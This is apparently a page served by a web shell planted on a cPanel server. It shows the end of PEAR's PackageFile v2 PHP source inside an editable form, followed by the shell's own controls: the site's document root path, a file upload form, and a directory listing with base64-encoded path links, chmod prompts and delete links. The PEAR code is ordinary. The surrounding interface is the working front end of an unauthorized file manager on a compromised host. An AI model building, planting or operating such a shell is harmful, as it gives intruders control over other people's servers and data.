    }

    function &amp;getDefaultGenerator()
    {
        if (!class_exists(&#039;PEAR_PackageFile_Generator_v2&#039;)) {
            require_once &#039;PEAR/PackageFile/Generator/v2.php&#039;;
        }
        $a = new PEAR_PackageFile_Generator_v2($this);
        return $a;
    }

    function analyzeSourceCode($file, $string = false)
    {
        if (!isset($this-&gt;_v2Validator) ||
              !is_a($this-&gt;_v2Validator, &#039;PEAR_PackageFile_v2_Validator&#039;)) {
            if (!class_exists(&#039;PEAR_PackageFile_v2_Validator&#039;)) {
                require_once &#039;PEAR/PackageFile/v2/Validator.php&#039;;
            }
            $this-&gt;_v2Validator = new PEAR_PackageFile_v2_Validator;
        }
        return $this-&gt;_v2Validator-&gt;analyzeSourceCode($file, $string);
    }

    function validate($state = PEAR_VALIDATE_NORMAL)
    {
        if (!isset($this-&gt;_packageInfo) || !is_array($this-&gt;_packageInfo)) {
            return false;
        }
        if (!isset($this-&gt;_v2Validator) ||
              !is_a($this-&gt;_v2Validator, &#039;PEAR_PackageFile_v2_Validator&#039;)) {
            if (!class_exists(&#039;PEAR_PackageFile_v2_Validator&#039;)) {
                require_once &#039;PEAR/PackageFile/v2/Validator.php&#039;;
            }
            $this-&gt;_v2Validator = new PEAR_PackageFile_v2_Validator;
        }
        if (isset($this-&gt;_packageInfo[&#039;xsdversion&#039;])) {
            unset($this-&gt;_packageInfo[&#039;xsdversion&#039;]);
        }
        return $this-&gt;_v2Validator-&gt;validate($this, $state);
    }

    function getTasksNs()
    {
        if (!isset($this-&gt;_tasksNs)) {
            if (isset($this-&gt;_packageInfo[&#039;attribs&#039;])) {
                foreach ($this-&gt;_packageInfo[&#039;attribs&#039;] as $name =&gt; $value) {
                    if ($value == &#039;http://pear.php.net/dtd/tasks-1.0&#039;) {
                        $this-&gt;_tasksNs = str_replace(&#039;xmlns:&#039;, &#039;&#039;, $name);
                        break;
                    }
                }
            }
        }
        return $this-&gt;_tasksNs;
    }

    /**
     * Determine whether a task name is a valid task.  Custom tasks may be defined
     * using subdirectories by putting a &quot;-&quot; in the name, as in &lt;tasks:mycustom-task&gt;
     *
     * Note that this method will auto-load the task class file and test for the existence
     * of the name with &quot;-&quot; replaced by &quot;_&quot; as in PEAR/Task/mycustom/task.php makes class
     * PEAR_Task_mycustom_task
     * @param string
     * @return boolean
     */
    function getTask($task)
    {
        $this-&gt;getTasksNs();
        // transform all &#039;-&#039; to &#039;/&#039; and &#039;tasks:&#039; to &#039;&#039; so tasks:replace becomes replace
        $task = str_replace(array($this-&gt;_tasksNs . &#039;:&#039;, &#039;-&#039;), array(&#039;&#039;, &#039; &#039;), $task);
        $taskfile = str_replace(&#039; &#039;, &#039;/&#039;, ucwords($task));
        $task = str_replace(array(&#039; &#039;, &#039;/&#039;), &#039;_&#039;, ucwords($task));
        if (class_exists(&quot;PEAR_Task_$task&quot;)) {
            return &quot;PEAR_Task_$task&quot;;
        }
        $fp = @fopen(&quot;PEAR/Task/$taskfile.php&quot;, &#039;r&#039;, true);
        if ($fp) {
            fclose($fp);
            require_once &quot;PEAR/Task/$taskfile.php&quot;;
            return &quot;PEAR_Task_$task&quot;;
        }
        return false;
    }

    /**
     * Key-friendly array_splice
     * @param tagname to splice a value in before
     * @param mixed the value to splice in
     * @param string the new tag name
     */
    function _ksplice($array, $key, $value, $newkey)
    {
        $offset = array_search($key, array_keys($array));
        $after = array_slice($array, $offset);
        $before = array_slice($array, 0, $offset);
        $before[$newkey] = $value;
        return array_merge($before, $after);
    }

    /**
     * @param array a list of possible keys, in the order they may occur
     * @param mixed contents of the new package.xml tag
     * @param string tag name
     * @access private
     */
    function _insertBefore($array, $keys, $contents, $newkey)
    {
        foreach ($keys as $key) {
            if (isset($array[$key])) {
                return $array = $this-&gt;_ksplice($array, $key, $contents, $newkey);
            }
        }
        $array[$newkey] = $contents;
        return $array;
    }

    /**
     * @param subsection of {@link $_packageInfo}
     * @param array|string tag contents
     * @param array format:
     * &lt;pre&gt;
     * array(
     *   tagname =&gt; array(list of tag names that follow this one),
     *   childtagname =&gt; array(list of child tag names that follow this one),
     * )
     * &lt;/pre&gt;
     *
     * This allows construction of nested tags
     * @access private
     */
    function _mergeTag($manip, $contents, $order)
    {
        if (count($order)) {
            foreach ($order as $tag =&gt; $curorder) {
                if (!isset($manip[$tag])) {
                    // ensure that the tag is set up
                    $manip = $this-&gt;_insertBefore($manip, $curorder, array(), $tag);
                }
                if (count($order) &gt; 1) {
                    $manip[$tag] = $this-&gt;_mergeTag($manip[$tag], $contents, array_slice($order, 1));
                    return $manip;
                }
            }
        } else {
            return $manip;
        }
        if (is_array($manip[$tag]) &amp;&amp; !empty($manip[$tag]) &amp;&amp; isset($manip[$tag][0])) {
            $manip[$tag][] = $contents;
        } else {
            if (is_array($manip[$tag]) &amp;&amp; !count($manip[$tag])) {
                $manip[$tag] = $contents;
            } else {
                $manip[$tag] = array($manip[$tag]);
                $manip[$tag][] = $contents;
            }
        }
        return $manip;
    }
}
?&gt;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L2hvbWUvaW5kdXZlZGFtL3B1YmxpY19odG1s">/home/induvedam/public_html</a><hr>curdir: /opt/cpanel/ea-php82/root/usr/share/pear/PEAR/PackageFile<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>75</td></tr><tr><td></td><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFS"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg=="/>Generator</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=R2VuZXJhdG9y&c=`+btoa(c):0" value="0755"></td><td>34</td></tr><tr><td></td><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxlL1BhcnNlcg=="/>Parser</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=UGFyc2Vy&c=`+btoa(c):0" value="0755"></td><td>34</td></tr><tr><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&x=djEucGhw">X</a></td><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=djEucGhw"/>v1.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=djEucGhw&c=`+btoa(c):0" value="0644"></td><td>50611</td></tr><tr><td></td><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxlL3Yy"/>v2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=djI=&c=`+btoa(c):0" value="0755"></td><td>41</td></tr><tr><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&x=djIucGhw">X</a></td><td><a href="?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=djIucGhw"/>v2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9jcGFuZWwvZWEtcGhwODIvcm9vdC91c3Ivc2hhcmUvcGVhci9QRUFSL1BhY2thZ2VGaWxl&f=djIucGhw&c=`+btoa(c):0" value="0644"></td><td>69952</td></tr></table>